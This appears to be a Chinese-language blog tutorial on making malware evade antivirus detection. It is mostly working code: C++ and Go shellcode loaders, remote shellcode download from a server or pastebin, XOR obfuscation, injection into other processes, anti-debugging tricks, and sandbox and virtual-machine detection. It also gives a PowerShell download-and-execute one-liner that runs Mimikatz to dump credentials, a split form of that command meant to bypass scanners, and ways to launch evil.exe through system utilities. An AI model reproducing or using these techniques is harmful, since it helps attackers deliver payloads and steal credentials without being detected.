前面的话:”免杀一般都是靠组合拳”

EXE

加壳

没什么好说的。可以自写加壳器等等

添加数字签名

不同的杀软对数字签名的敏感性不同,有些杀软可能只检查一下有没有数字签名就过了,有些杀软可能要去验证一下数字签名的正确性,有些可能管都不管数字签名。只能说添加数字签名能稍微提升一下exe的免杀几率。

间接运行exe

平时我们运行一个exe: cmd /c c:\a.exe 但这样容易被杀或者命令被ban。所有就有一些间接运行exe的方法

forfiles

forfiles是一个用于批处理的一个工具,它在找到文件后会执行指定的命令.

forfiles /p 指定搜索文件的目录 /m 指定搜索关键词 /c 指定要执行的命令
forfiles /p c:\windows\system32 /m calc.exe /c c:\tmp\evil.exe //evil.exe会成为forfiles.exe的子进程

pcalua

pcalua -a c:\tmp\evil.exe  //evil.exe不会成为子进程

cmd Hijack

下面命令将弹计算器

cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../../windows/system32/calc.exe"

cmd.exe /c "ping ;a.exe; 127.0.0.1/../../../../../../../../../windows/system32/calc.exe"

ping ;a.exe 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe

conhost

大于win7可用

conhost c:\windows\system32\calc.exe
conhost adsadas/../../../../../../../../../windows/system32/calc.exe

以下指令win10某些版本无法使用
conhost "asddas c:\windows\system32\calc.exe"

explorer.exe

explorer.exe c:\windows\system32\calc.exe
explorer asdsadasd,"c:\windows\system32\calc.exe"

C++

shellcode处理

指针执行+申请内存动态加载shellcode

首先从cobalt strike上生成拿到shellcode用作本次测试。
然后通过下面的代码,直接执行写死在程序里的shellcode。

#include <iostream>
#include<Windows.h>

int main()
{
unsigned char buf[] = "shellcode";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}

QQ截图20210217145713

可以看见,还是很拉跨的。

内联汇编加载shellcode

c++有强大的内联汇编功能,上次写壳的时候就感受了一番。
我们可以通过内联汇编代码加载shellcode.顺便加花什么的,都可以弄。

#include <iostream>
#include<Windows.h>
#include<winhttp.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib,"user32.lib")

int main()
{
unsigned char buf[] = "shellcode";
_asm {
lea eax, buf;
jmp eax;
}
}

QQ截图20210217145723

还是蛮拉跨的,虽然我没有加花。

HTTP协议远程读取shellcode

这次我们不把shellcode写死在程序之中,而是通过程序发起http请求向外界获得shellcode并执行。
这里涉及到winhttp.h的一些函数的使用。

源码借用一下 卿 的代码。它的代码是直接把shellcode的十六进制以字符串形式直接放到远程服务器上。像这样

QQ截图20210217145737

#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
BOOL bResults = FALSE;
hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession)
{
hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
}

if (hConnect)
{
hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
}
LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
SIZE_T len = lstrlenW(header);
WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
if (hRequest)
{
std::string data = "name=host&sign=xx11sad";
const void *ss = (const char *)data.c_str();
bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
}
if (bResults)
{
bResults = WinHttpReceiveResponse(hRequest, NULL);
}
if (bResults)
{
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

break;
}

if (!dwSize)
break;

pszOutBuffer = new char[dwSize + 1];

if (!pszOutBuffer)
{
printf("Out of memory\n");
break;
}

ZeroMemory(pszOutBuffer, dwSize + 1);

if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
printf("Error %u in WinHttpReadData.\n", GetLastError());
}
else
{
printf("ok");
}
//char ShellCode[1024];
int code_length = strlen(pszOutBuffer);
char* ShellCode = (char*)calloc(code_length /2 , sizeof(unsigned char));

for (size_t count = 0; count < code_length / 2; count++){
sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
pszOutBuffer += 2;
}
printf("%s", ShellCode);
//strcpy(ShellCode,pszOutBuffer);
void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
delete[] pszOutBuffer;
if (!dwDownloaded)
break;
} while (dwSize > 0);
}
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
system("pause");
}

大致流程便是:

1.通过winhttp中的函数,以HTTP的方法获取远程服务器上的shellcode(此时shellcode在内存中是按照编码结果存储的,如下图,左边是内存原文,右边是内存解码(shellcode))

QQ截图20210217145818

2.开辟一段内存,然后通过sscanf等方法读取存储shellcode变量的内容,将内存解码信息录入新的内存空间,使shellcode存在于内存中
3.执行shellcode,可以用指针执行等方法执行。

使用加载器加载shellcode

shellcode_ launcher 加载器

https://github.com/clinicallyinane/shellcode_launcher/

用msf或者cs生成raw形式shellcode,然后使用这个加载器加载一下就行了.
像这样 shellcode_launcher.exe -i C:\payload32.bin
shellcode_ launcher 在virustotal上报毒率也是很高很高了…

SSI 加载器

https://github.com/DimopoulosElias/SimpleShellcodeInjector

cs生成c形式shellcode,然后去除\x,再拿给ssi加载器加载,像这样

QQ截图20210217145832

ssi.exe shellcode 即可完成加载

ssi在virustotal上报毒率也是非常高..

自写加载器

ssi源码很简单大家可以参考写一下

shellcode变形

大思路就是把shellcode混淆后,放入加载器加载运行。
其细分思路就包括怎么把shellcode进行混淆了,简单的有XOR,BASE64,复杂一点的有AES等。
这里就只说说xor。
首先我们得准备一个程序将shellcode进行混淆。图方便就拿python写也是蛮不错的。
随便写了一个。效果真不戳(虽然上传了vt过两天就肯定不能用了)

QQ截图20210217145855

github:https://github.com/ConsT27/SimpleXORshellcode

shellcode注入进程内存

注入已有进程

大致逻辑:OpenProcess获得进程句柄->VirtualAllocEx在进程中开辟一段内存空间->WriteProcessMemory向刚刚开辟的内存空间中写入shellcode->CreateRemoteThread为刚刚写入的shellcode创建一个线程执行

#include <iostream>
#include<Windows.h>

int main()
{
unsigned char buf[] = "shellcode";
DWORD pid = 25388;
HANDLE Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!Proc) {
std::cout << GetLastError() << std::endl;
}
LPVOID buffer = VirtualAllocEx(Proc, NULL, sizeof(buf), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (buffer) {
std::cout << GetLastError() << std::endl;
}
if (WriteProcessMemory(Proc, buffer, buf, sizeof(buf), 0) ){
std::cout << GetLastError() << std::endl;
}
HANDLE remotethread = CreateRemoteThread(Proc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
}

效果:虽然也很拉,但是静态过了趋势是我没想到的。

QQ截图20210217145906

反调试

可以通过反调试来规避杀软检测,拖慢逆向工程师分析速度,但也有可能提高被判为恶意文件的概率。

直接判断是否为调试状态
if (IsDebuggerPresent()) return FALSE;

PPEB pPEB = (PPEB)__readgsqword(0x60);
if (pPEB->BeingDebugged) return;

BOOL ret;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret);
return ret;
NtQueryInformationProcess

这个函数用来获取某进程的信息。
需要动态链接库 #pragma comment(lib,"ntdll")
当然也可以用GetProcAddress动态获取这个函数。
这个函数第一个参数指定进程句柄,第二个参数指定进程的特定结构,第三个参数获取返回值,第四个参数是返回值缓冲区大小,第五个填NULL
其中与反调试有关的成员有ProcessDebugPort(0x7)、ProcessDebugObjectHandle(0x1E)和ProcessDebugFlags(0x1F)
ProcessDebugPort参数,若没在调试中,则该函数返回0,若在调试中则返回对应的调试端口
其他参数也类似

看雪上houjingyi师傅的演示代码

BOOL CheckDebug()
{
int debugPort = 0;
HMODULE hModule = LoadLibrary("Ntdll.dll");
NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");
NtQueryInformationProcess(GetCurrentProcess(), 0x7, &debugPort, sizeof(debugPort), NULL);
return debugPort != 0;
}

BOOL CheckDebug()
{
HANDLE hdebugObject = NULL;
HMODULE hModule = LoadLibrary("Ntdll.dll");
NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");
NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &hdebugObject, sizeof(hdebugObject), NULL);
return hdebugObject != NULL;
}

BOOL CheckDebug()
{
BOOL bdebugFlag = TRUE;
HMODULE hModule = LoadLibrary("Ntdll.dll");
NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");
NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &bdebugFlag, sizeof(bdebugFlag), NULL);
return bdebugFlag != TRUE;
}
检测软件断点

当我们在调试器中对一行代码打上断点时,实质上是将这行代码改为了0xcc,即INT 3,中断异常,所以调试器运行到此处时会停止。
那么我们就可以通过检测代码中是否有0xcc来判断是否被打上了软件断点,从而起到反调试的作用。

要做到这一点,可以使用汇编代码中的 repne scasb 指令,其第一个参数是缓冲区的起始地址,第二个参数是缓冲区大小,第三个参数是匹配的字符串。它会在指定的缓冲区内寻找字符串,若没有找到则返回.

时间检测
int t1 = GetTickCount64();
Hack(); //一个函数,诱导分析人员在调试的时候跟进进去耽误时间
int t2 = GetTickCount64();
if (((t2 - t1) / 1000) > 5) {
return FALSE;
} //t1,t2检测时间过大则会是调试

wprintf_s(L"Now hacking more...\n");

也可以用内联汇编完成
BOOL CheckDebug()
{
DWORD time1, time2;
__asm
{
rdtsc
mov time1, eax
........垃圾代码,耽误分析人员时间
rdtsc
mov time2, eax
}
if (time2 - time1 < 0xff)
{
return FALSE;
}
else
{
return TRUE;
}
}
检测父进程

见沙箱绕过章节中的“检测父进程”

SEH中断

不是很懂

void AD_BreakPoint()  
{
printf("SEH : BreakPoint\n");

__asm {
// install SEH
push handler
push DWORD ptr fs:[0]
mov DWORD ptr fs:[0], esp

// generating exception
int 3

// 1) debugging
// go to terminating code
mov eax, 0xFFFFFFFF
jmp eax // process terminating!!!

// 2) not debugging
// go to normal code
handler:
mov eax, dword ptr ss:[esp+0xc]
mov ebx, normal_code
mov dword ptr ds:[eax+0xb8], ebx
xor eax, eax
retn

normal_code:
// remove SEH
pop dword ptr fs:[0]
add esp, 4
}

printf(" => Not debugging...\n\n");
}

int _tmain(int argc, TCHAR* argv[])
{
AD_BreakPoint();

return 0;
}

沙箱绕过(Sandbox Evasion)

System Checks

检测当前环境是否是沙箱环境,如果是沙箱则不表现出恶意行为。

检测函数是否被HOOK更改

有些沙箱会对一些函数进行HOOK更改,我们可以通过在原DLL中查找原函数与进程中的函数进行比对从而判断其是否被HOOK.
这里是别人的代码(RedTeaming)

// manually load the dll
HANDLE dllFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dllFileSize = GetFileSize(dllFile, NULL);
HANDLE hDllFileMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
HANDLE pDllFileMappingBase = MapViewOfFile(hDllFileMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(dllFile);

// analyze the dll
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pDllFileMappingBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDllFileMappingBase + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pDllFileMappingBase + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNameOrdinals);

// find the original function code
PVOID pNtCreateThreadExOriginal = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)pDllFileMappingBase + pAddressOfNames[i]);
if (!strcmp(pFunctionName, "NtCreateThreadEx"))
{
pNtCreateThreadExOriginal = (PVOID)((PBYTE)pDllFileMappingBase + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
break;
}
}

// compare functions
PVOID pNtCreateThreadEx = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
if (memcmp(pNtCreateThreadEx, pNtCreateThreadExOriginal, 16)) return false;
GetTickCount

GetTickCount 是win32 API之一,用来记录电脑开机后的运行时间(以毫秒为单位)
我们可以通过这个函数检测当前环境的运行时间,如果时间很短那么就有可能是沙箱。

为什么时间很短就可能是沙箱环境呢?沙箱对恶意程序的检测流程大致如下

1.启动虚拟环境
2.将恶意程序复制进虚拟环境
3.运行恶意程序一段时间(一般为5分钟)
4.获取虚拟环境返回的报告
5.关机

全程不过6.7分钟,而正常的机器运行时间肯定是大于这个值的。那么我们就可以定一个标准:如果GetTickCount返回的值小于10min,那么就被判为沙箱环境。

CPU,RAM等信息

沙箱的CPUI多为1核,ram多小于2g,硬盘大小多小于100g。我们可以以此为一个基准进行沙箱检测。

//cpu processors
SYSTEM_INFO systeminfo;
GetSystemInfo(&systeminfo);
DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;

//ram
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;

//hdd(硬盘大小)
HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;

printf("cpu:%d,ram:%d,size(gb):%d", numberOfProcessors, RAMMB, diskSizeGB);
mac

常见虚拟机如vmware,viturl box等都有特殊的mac地址,可以以此为依据判断是否在虚拟机中(随着虚拟化主机越来越普遍,许多公司将业务系统也搬进了虚拟机,这个方法已不太能作为检测沙箱的指标)

“通常,MAC地址的前三个字节标识一个提供商。以00:05:69、00:0c:29和00:50:56开始的MAC地址与VMware相对应;以00:03:ff开始的MAC地址与virtualpc对应;以08:00:27开始的MAC地址与virtualbox对应。”



string mac;
get_3part_mac(mac);
if (mac == "00-05-69" || mac == "00-0c-29" || mac == "00-50-56" || mac == "00-03-ff" || mac == "08-00-27") {

}
else {

}

void get_3part_mac(string &mac)
{
NCB Ncb;
ASTAT Adapter;
UCHAR uRetCode;
LANA_ENUM lenum;
memset(&Ncb, 0, sizeof(Ncb));
Ncb.ncb_command = NCBENUM;
Ncb.ncb_buffer = (UCHAR *)&lenum;
Ncb.ncb_length = sizeof(lenum);
uRetCode = Netbios(&Ncb);
for (int i = 0; i < lenum.length; i++)
{
memset(&Ncb, 0, sizeof(Ncb));
Ncb.ncb_command = NCBRESET;
Ncb.ncb_lana_num = lenum.lana[i];
uRetCode = Netbios(&Ncb);
memset(&Ncb, 0, sizeof(Ncb));
Ncb.ncb_command = NCBASTAT;
Ncb.ncb_lana_num = lenum.lana[i];
strcpy((char *)Ncb.ncb_callname, "*");
Ncb.ncb_buffer = (unsigned char *)&Adapter;
Ncb.ncb_length = sizeof(Adapter);
uRetCode = Netbios(&Ncb);
if (uRetCode == 0)
{
char tmp[128];
sprintf(tmp, "%02x-%02x-%02x",
Adapter.adapt.adapter_address[0],
Adapter.adapt.adapter_address[1],
Adapter.adapt.adapter_address[2]
);
mac = tmp;
}
}
}
分辨率

沙箱的分辨率都不太正常

检查时区与时间流动性

沙箱往往会加速运行文件,故可以检查时间流动性是否正常从而检测沙箱

    //时区
DYNAMIC_TIME_ZONE_INFORMATION DynamicTimeZoneInfo;
GetDynamicTimeZoneInformation(&DynamicTimeZoneInfo);
wchar_t wcTimeZoneName[128 + 1];
StringCchCopyW(wcTimeZoneName, 128, DynamicTimeZoneInfo.TimeZoneKeyName);
CharUpperW(wcTimeZoneName);
if (!wcsstr(wcTimeZoneName, L"CHINA STANDARD TIME")) {

}

//流动性
clock_t ClockStartTime, ClockEndTime;
time_t UnixStartTime = time(0);
ClockStartTime = clock();
Sleep(10000);
ClockEndTime = clock();
time_t UnixEndTime = time(0);
int iTimeDifference = ((UnixEndTime - UnixStartTime) * 1000) - (ClockEndTime - ClockStartTime);
if (iTimeDifference>150){
//*code
}
检测文件名是否被沙箱更改
wchar_t currentProcessPath[MAX_PATH + 1];
GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH + 1);
CharUpperW(currentProcessPath);
if (!wcsstr(currentProcessPath, L"evil.EXE")) return false;

Time-Based Evasion

基于时间的规避。即恶意软件在目标系统上运行后并不会立刻进行恶意行动,而是会伪装、休眠一段时间,等到一定时间后再开始恶意行动

使用网络连接实时读取启动指令

意思就是说该程序会不断向某个网址发送请求包,如果网址返回了对应的启动指令则开始调用恶意代码。

下图是用HTTP请求获取网页内容的代码。

HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"www.baidu.com", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, 0);
DWORD responseLength;
WinHttpQueryDataAvailable(hRequest, &responseLength);
PVOID response = new char[responseLength + 1];
WinHttpReadData(hRequest, response, responseLength, &responseLength);
std::cout << ((char *)response);

User Activity Based Checks

通过检测一些行为,来识别当前实施者是否为人类。(比如动鼠标,敲键盘等,或者查询电脑上word文档打开历史数,chrome历史记录等信息来判断)

鼠标移动轨迹

可以设置鼠标移动多少距离才执行shellcode,沙箱有些是没有鼠标的。

POINT CurrentMousePos;
POINT PreviousMousePos;
GetCursorPos(&PreviousMousePos);
double Dis = 0;
while (true)
{
GetCursorPos(&CurrentMousePos);
Dis+= sqrt(pow(CurrentMousePos.x - PreviousMousePos.x, 2) + pow(CurrentMousePos.y - PreviousMousePos.y, 2));
Sleep(100);
if (Dis > 20000) {
//*code
}

}
检测父进程

对于一个正常的用户来说,启动exe文件应该是双击运行,程序启动后父进程是explore.exe,如果是cmd运行则会是cmd.exe、
但是对于沙箱就有可能存在用一个程序如windbg来启动我们的恶意EXE文件,这个时候我们就需要对此点进行检测。

DWORD GetParentPID(DWORD pid)
{
DWORD ppid = 0;
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //对所有进程创建快照
if (Process32FirstW(hSnapshot, &processEntry)) //遍历快照,找到当前传入PID的进程信息
{
do
{
if (processEntry.th32ProcessID == pid)
{
ppid = processEntry.th32ParentProcessID; //找到并返回传入PID的父进程PID
break;
}
} while (Process32NextW(hSnapshot, &processEntry));
}
CloseHandle(hSnapshot);
return ppid;
}

void main()
{
DWORD parentPid = GetParentPID(GetCurrentProcessId()); //获取当前进程父进程PID
WCHAR parentName[MAX_PATH + 1];
DWORD dwParentName = MAX_PATH;
HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid); //打开父进程
QueryFullProcessImageNameW(hParent, 0, parentName, &dwParentName); // another way to get process name is to use 'Toolhelp32Snapshot' //获取进程名
CharUpperW(parentName);
if (wcsstr(parentName, L"WINDBG.EXE")) return; //匹配

wprintf_s(L"Now hacking...\n");
}

进程镂空

动态调用API

void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");

Powershell

远程执行与本地执行

远程执行

powershell可以加载远程的ps1文件。这样做的好处是实现了无文件落地。

powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

不过市面上很多杀软对downloadstring检测十分十分严格(许多会检测远程文件安全性)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1 (smb)

本地执行

powershell Import-Module .\xx.ps1

命令拆分

就像刚刚远程加载的downloadstring法,它很容易被杀软拦截。但是我们可以通过拆分重组绕过一些杀软检测。

powershell -c "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://webserver/xxx.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

GO

FUNNY

很有趣的一件事是,用go语言写个helloworld传到vt被14家杀,牛批

image-20210819215802696

生成EXE

go 编译为EXE 的做法是go build ….go,但这样EXE打开时会有个黑框

go build -ldflags “-H windowsgui” ..go 生成无窗口EXE,但这样会增加杀软的查杀度

申请内存加载shellcode

package main

import (
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
KEY_1 = 55
KEY_2 = 66
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main(){
shellcode:=[]byte{0xfc,...,0x30,0x00,0x19,0x69,0xa0,0x8d}
addr,_,err:=VirtualAlloc.Call(0,uintptr(len(shellcode)),MEM_COMMIT, PAGE_EXECUTE_READWRITE )
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

最原始版本,被杀成哈批,但即使这样360也杀不出来,可以看出绕过360有手就行

image-20210818180146046

简单XOR

xor模块(获得xor后的shellcode)
for i:=0;i<len(shellcode);i++{
fmt.Print("0x",strconv.FormatInt(int64(shellcode[i]^123),16),",")
}
xor_shellcode:=[]byte{xored_shellcode}
var shellcode []byte
for i:=0;i<len(xor_shellcode);i++{
shellcode=append(shellcode,xor_shellcode[i]^123)
}
addr,_,err:=VirtualAlloc.Call(0,uintptr(len(shellcode)),MEM_COMMIT, PAGE_EXECUTE_READWRITE )
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)

image-20210818185018219

好了点,但是如果加上无框启动,还是会被杀成哈批

沙盒&虚拟机检测

imoprt{	"github.com/shirou/gopsutil/host"
"github.com/shirou/gopsutil/mem"
"github.com/shirou/gopsutil/disk"
}

func CheckTime() bool{
timeBoot, _ := host.BootTime()
t := time.Unix(int64(timeBoot), 0)
timeNow:=time.Now()
ts:=timeNow.Sub(t)
if ts.Minutes()<12{
return false
}else{
return true
}
}

func CheckName() bool{
files, _ := ioutil.ReadDir("./")
for _, f := range files {
if f.Name()=="ActiveX.exe"{
return true
}
}
return false
}

func CheckSystem() bool{
info1,_:=mem.SwapMemory()
info2,_:=mem.VirtualMemory()
disk,_:=disk.Usage("c:")
if(runtime.NumCPU()<2&&info1.Total<2147483648&&info2.Total<2147483648&&disk.Total<21474836480){
return false
}
return true
}

image-20210818192335970

用它和XOR打组合拳效果将就,用了无窗启动后有7个查出来

虚拟机:敏感文件检测

这个会被defender拦,不必要的话不用这个

func PathExists(path string) (bool, error) { //判断文件是否存在
_, err := os.Stat(path)
if err == nil {
return true, nil
}
if os.IsNotExist(err) {
return false, nil
}
return false, err
}
func fack(path string) { //判断虚拟机关键文件是否存在
b, _ := PathExists(path)
if b {
fmt.Printf("当前是虚拟机环境,别分析了,哥。")
os.Exit(1) //如果是虚拟机就退出当前进程
}
}
func check() {
fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
fack("C:\\windows\\System32\\vboxdisp.dll")
fack("C:\\windows\\System32\\vboxhook.dll")
fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
fack("C:\\windows\\System32\\vboxservice.exe")
fack("C:\\windows\\System32\\vboxtray.exe")
fack("C:\\windows\\System32\\VBoxControl.exe")
}

远程读shellcode

Url,err:=url.Parse("https://pastebin.com/aa")
if err!=nil{
panic("error")
}
client:=http.Client{}
req,_:=http.NewRequest("GET",Url.String(),nil)
req.Header.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36")
req.Header.Add("Cookie","SUB=_2 SUBP=00")
resp,_:=client.Do(req)
body,_:=ioutil.ReadAll(resp.Body) //string形式获取了页面内容,以上代码为主体部分

//通过一系列正则匹配,字符串截取等方法从页面中得到shellcode(页面中我的shellcode是这样的rngrngfc,48,....,aalgdlgd)
re:=regexp.MustCompile(`rngrng.*lgdlgd`)
match:=re.FindString(string(body))
match=match[6:len(match)-6]
return match

但是拖下来的shellcode是string格式,我们需要把他转为[]byte

func aa(encodes string) []byte{
var xor_shellcode []byte
spi:=","
enc:=strings.Split(encodes,spi)


for i,_ :=range enc{
tmps,_:=hex.DecodeString(enc[i])
if(len(tmps)>0) {
xor_shellcode = append(xor_shellcode, tmps[0])
}
}
return xor_shellcode
}

远程+XOR+沙箱 反而被杀的更多…看来这个HTTP函数被抓的很紧,还被360杀出来了

image-20210818233352655

读取文件中的SHELLCODE

var sc []byte
bytes,_:=ioutil.ReadFile("C:\\Users\\xx\\Desktop\\sc.txt")
tmp:=strings.Split(string(bytes),",")
for i,_ :=range tmp{
tmps,_:=hex.DecodeString(tmp[i])
if(len(tmps)>0) {
sc = append(sc, tmps[0])
}
}

image-20210819212634402

可以

文件释放

在我们木马运行时可以释放一个正常文件并运行,达到DLL劫持或者迷惑视听的作用。

获取文件内容
file,_:=os.Open("E:\\tools\\shell\\cobaltstrike4.3\\cobaltstrike.exe")
fi,_:=file.Stat()
size:=fi.Size()
data := make([]byte, size)
file.Read(data)
for _,i:=range data{
fmt.Print(strconv.Itoa(int(i))+",")
}